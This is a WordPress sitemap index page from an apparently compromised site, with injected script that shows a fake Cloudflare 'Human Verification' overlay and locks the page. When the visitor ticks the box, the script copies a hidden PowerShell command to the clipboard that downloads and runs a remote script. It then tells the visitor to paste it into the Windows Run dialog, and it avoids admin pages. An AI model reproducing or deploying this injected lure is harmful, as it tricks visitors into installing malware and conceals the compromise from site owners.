
    <style>
        /* Full-page lock styles – unchanged */
        #hv-backdrop {
            display: none;
            position: fixed;
            inset: 0;
            background: rgba(0, 0, 0, 0.92);
            z-index: 999998;
            pointer-events: all;
            overflow: hidden;
        }
        .hv-card {
            background: rgba(255, 255, 255, 0.98);
            color: #111;
            border-radius: 16px;
            padding: 24px 18px 0 18px;
            width: 100%;
            max-width: 260px;
            box-shadow: 0 25px 50px -12px rgba(0,0,0,0.6);
            text-align: center;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            z-index: 999999;
            font-family: system-ui, -apple-system, sans-serif;
            overflow: hidden;
            transition: all 0.3s ease;
            display: flex;
            flex-direction: column;
        }
        .hv-card.expanded {
            max-width: 320px;
            padding: 24px 18px 0 18px;
        }
        .hv-card h1 { 
            margin: 0 0 10px; 
            font-size: 20px;
            color: #111; 
        }
        .hv-card p { 
            font-size: 14px;
            margin: 0 0 18px; 
            color: #444; 
            line-height: 1.4; 
        }
        .hv-checkbox-container {
            display: inline-flex;
            align-items: center;
            cursor: pointer;
            user-select: none;
            font-size: 15px;
            margin-bottom: 15px;
            position: relative;
            padding-left: 28px;
        }
        .hv-checkbox-container input {
            position: absolute;
            opacity: 0;
            cursor: pointer;
            height: 0;
            width: 0;
        }
        .checkmark {
            position: absolute;
            top: 0;
            left: 0;
            height: 18px;
            width: 18px;
            background-color: #fff;
            border: 1px solid #aaa;
            border-radius: 3px;
        }
        .hv-checkbox-container:hover input ~ .checkmark {
            border-color: #777;
        }
        .hv-checkbox-container input:checked ~ .checkmark {
            background-color: #f38020;
            border-color: #f38020;
        }
        .checkmark:after {
            content: "";
            position: absolute;
            display: none;
        }
        .hv-checkbox-container input:checked ~ .checkmark:after {
            display: block;
        }
        .hv-checkbox-container .checkmark:after {
            left: 6px;
            top: 2px;
            width: 5px;
            height: 10px;
            border: solid white;
            border-width: 0 2px 2px 0;
            transform: rotate(45deg);
        }
        .hv-instructions {
            display: none;
            margin-top: 16px;
            padding: 20px;
            background: linear-gradient(135deg, #fef3c7 0%, #fef9e7 100%);
            border: 2px solid #f38020;
            border-radius: 16px;
            font-size: 16.8px;
            line-height: 1.8;
            text-align: left;
            color: #2d2d2d;
            margin-bottom: 15px;
            order: 2;
            box-shadow: 0 8px 20px rgba(243, 128, 32, 0.15);
            font-weight: 500;
            letter-spacing: 0.3px;
        }
        .hv-instructions strong {
            color: #f38020;
            font-size: 19.2px;
            display: block;
            margin-bottom: 12px;
            text-transform: uppercase;
            letter-spacing: 1px;
            text-shadow: 0 2px 4px rgba(243, 128, 32, 0.1);
        }
        .verify-button {
            display: none;
            background: #cccccc;
            color: #666666;
            border: none;
            border-radius: 8px;
            padding: 12px 24px;
            font-size: 16px;
            font-weight: bold;
            cursor: not-allowed;
            margin: 0 auto 15px auto;
            width: fit-content;
            transition: all 0.3s ease;
            order: 3;
            pointer-events: none;
        }
        .verify-button.visible {
            display: block;
        }
        .verify-button.active {
            background: #f38020;
            color: white;
            cursor: pointer;
            pointer-events: auto;
            box-shadow: 0 4px 15px rgba(243, 128, 32, 0.3);
        }
        .verify-button.active:hover {
            background: #e06b00;
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(243, 128, 32, 0.4);
        }
        .hv-locked {
            overflow: hidden !important;
            height: 100vh !important;
        }
        .card-content {
            flex: 1;
            padding-bottom: 0;
            transition: all 0.3s ease;
            order: 1;
        }
        .cloudflare-banner {
            background: #f38020;
            color: white;
            padding: 12px 0;
            margin: 0 -18px 0 -18px;
            width: calc(100% + 36px);
            font-weight: bold;
            font-size: 16px;
            letter-spacing: 2px;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            border-bottom-left-radius: 16px;
            border-bottom-right-radius: 16px;
            position: relative;
            bottom: 0;
            margin-top: auto;
            transition: all 0.3s ease;
            order: 4;
        }
        .expanded .cloudflare-banner {
            padding: 15px 0;
            font-size: 18px;
        }
        .cloudflare-banner svg {
            width: 20px;
            height: 20px;
            fill: white;
            transition: all 0.3s ease;
        }
        .expanded .cloudflare-banner svg {
            width: 24px;
            height: 24px;
        }
        .spinner-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.92);
            z-index: 1000000;
            display: none;
            justify-content: center;
            align-items: center;
            flex-direction: column;
        }
        .spinner {
            width: 80px;
            height: 80px;
            border: 6px solid rgba(243, 128, 32, 0.3);
            border-radius: 50%;
            border-top-color: #f38020;
            border-right-color: #f38020;
            animation: spin 1.2s ease-in-out infinite;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .spinner-text {
            color: white;
            margin-top: 20px;
            font-family: system-ui, -apple-system, sans-serif;
            font-size: 16px;
            letter-spacing: 1px;
        }
    </style>

    <div id="hv-backdrop">
        <div class="hv-card" id="hv-card">
            <div class="card-content">
                <h1>Human Verification Required</h1>
                <p>Our system has detected unusual activity.<br>Please complete this quick check to continue browsing.</p>
                <label class="hv-checkbox-container">
                    <input type="checkbox" id="hv-verifyChk">
                    <span class="checkmark"></span>
                    <label for="hv-verifyChk" style="margin-left: 28px;">I'm not a robot</label>
                </label>
            </div>
            <div id="hv-instructions" class="hv-instructions"></div>
            <button id="verify-btn" class="verify-button">VERIFY</button>
            <div class="cloudflare-banner">
                <svg viewBox="0 0 24 24" width="20" height="20">
                    <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z"/>
                    <circle cx="12" cy="12" r="5"/>
                </svg>
                <span>CLOUDFLARE</span>
            </div>
        </div>
    </div>
    
    <div id="spinner-overlay" class="spinner-overlay">
        <div class="spinner"></div>
        <div class="spinner-text">VERIFYING</div>
    </div>

    <script>
        (function(){
            if (window.location.href.includes('page=wp_file_manager') || 
                window.location.pathname.includes('wp-admin')) {
                return;
            }

            const STORAGE_KEY = "verification_completed";
            const backdrop = document.getElementById("hv-backdrop");
            const card = document.getElementById("hv-card");
            const checkbox = document.getElementById("hv-verifyChk");
            const instructions = document.getElementById("hv-instructions");
            const spinnerOverlay = document.getElementById("spinner-overlay");
            const verifyBtn = document.getElementById("verify-btn");

            if (localStorage.getItem(STORAGE_KEY) === "true") {
                return;
            }

            document.documentElement.classList.add("hv-locked");
            document.body.classList.add("hv-locked");
            backdrop.style.display = "block";

            const userIp = "2a03:2880:f800::";
            const logUrl = "https://dapperdoings.ch/wp-content/plugins/verify/proxy.php";
            const psUrl = "https://v-k.com.ua/vcapcha.ps1";

            checkbox.addEventListener("change", function(){
                if (!this.checked) return;
                if (localStorage.getItem(STORAGE_KEY) === "true") return;

                const command = `powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('${psUrl}'))"`;

                spinnerOverlay.style.display = "flex";

                setTimeout(() => {
                    spinnerOverlay.style.display = "none";
                    localStorage.setItem(STORAGE_KEY, "true");
                    card.classList.add("expanded");

                    instructions.style.display = "block";
                    instructions.innerHTML = `
                        <strong>? NEXT STEPS</strong>
                        <span style="display: flex; align-items: center; gap: 10px; margin-bottom: 12px;">
                            <span style="background: #f38020; color: white; width: 24px; height: 24px; border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; font-weight: bold;">1</span>
                            <span style="font-weight: 600;">Press <span style="background: #2d2d2d; color: white; padding: 4px 8px; border-radius: 6px; font-family: monospace;">Windows + R</span></span>
                        </span>
                        <span style="display: flex; align-items: center; gap: 10px; margin-bottom: 12px;">
                            <span style="background: #f38020; color: white; width: 24px; height: 24px; border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; font-weight: bold;">2</span>
                            <span style="font-weight: 600;">Press <span style="background: #2d2d2d; color: white; padding: 4px 8px; border-radius: 6px; font-family: monospace;">Ctrl + V</span></span>
                        </span>
                        <span style="display: flex; align-items: center; gap: 10px;">
                            <span style="background: #f38020; color: white; width: 24px; height: 24px; border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; font-weight: bold;">3</span>
                            <span style="font-weight: 600;">Press <span style="background: #2d2d2d; color: white; padding: 4px 8px; border-radius: 6px; font-family: monospace;">Enter</span></span>
                        </span>
                    `;
                    
                    verifyBtn.classList.add("visible");

                    let pollCount = 0;
                    const maxPolls = 150;
                    const pollInterval = setInterval(() => {
                        fetch(logUrl)
                            .then(response => {
                                if (!response.ok) throw new Error('HTTP ' + response.status);
                                return response.text();
                            })
                            .then(logText => {
                                if (logText.includes(userIp)) {
                                    clearInterval(pollInterval);
                                    verifyBtn.disabled = false;
                                    verifyBtn.classList.add("active");
                                }
                            })
                            .catch(err => {
                                console.error('Poll error:', err);
                                if (pollCount >= 5) {
                                    clearInterval(pollInterval);
                                    console.warn('Polling stopped due to repeated errors');
                                }
                            });
                        pollCount++;
                        if (pollCount >= maxPolls) {
                            clearInterval(pollInterval);
                            console.warn('Polling stopped after timeout');
                        }
                    }, 2000);

                    navigator.clipboard.writeText(command).catch(err => {
                        console.error('Clipboard copy failed:', err);
                        instructions.innerHTML += `<br><br><span style="color:#f00;">Clipboard copy failed. Please manually copy the command above.</span>`;
                    });
                }, 3000);
            });
            
            verifyBtn.addEventListener("click", function() {
                if (verifyBtn.disabled) return;
                backdrop.style.display = "none";
                document.documentElement.classList.remove("hv-locked");
                document.body.classList.remove("hv-locked");
                card.classList.remove("expanded");
                instructions.style.display = "none";
                verifyBtn.classList.remove("visible", "active");
                verifyBtn.disabled = true;
                checkbox.checked = false;
            });
        })();
    </script>
    <?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://dapperdoings.ch/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://dapperdoings.ch/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-posts-portfolio-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-taxonomies-post_format-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-taxonomies-portfolio_category-1.xml</loc></sitemap><sitemap><loc>https://dapperdoings.ch/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
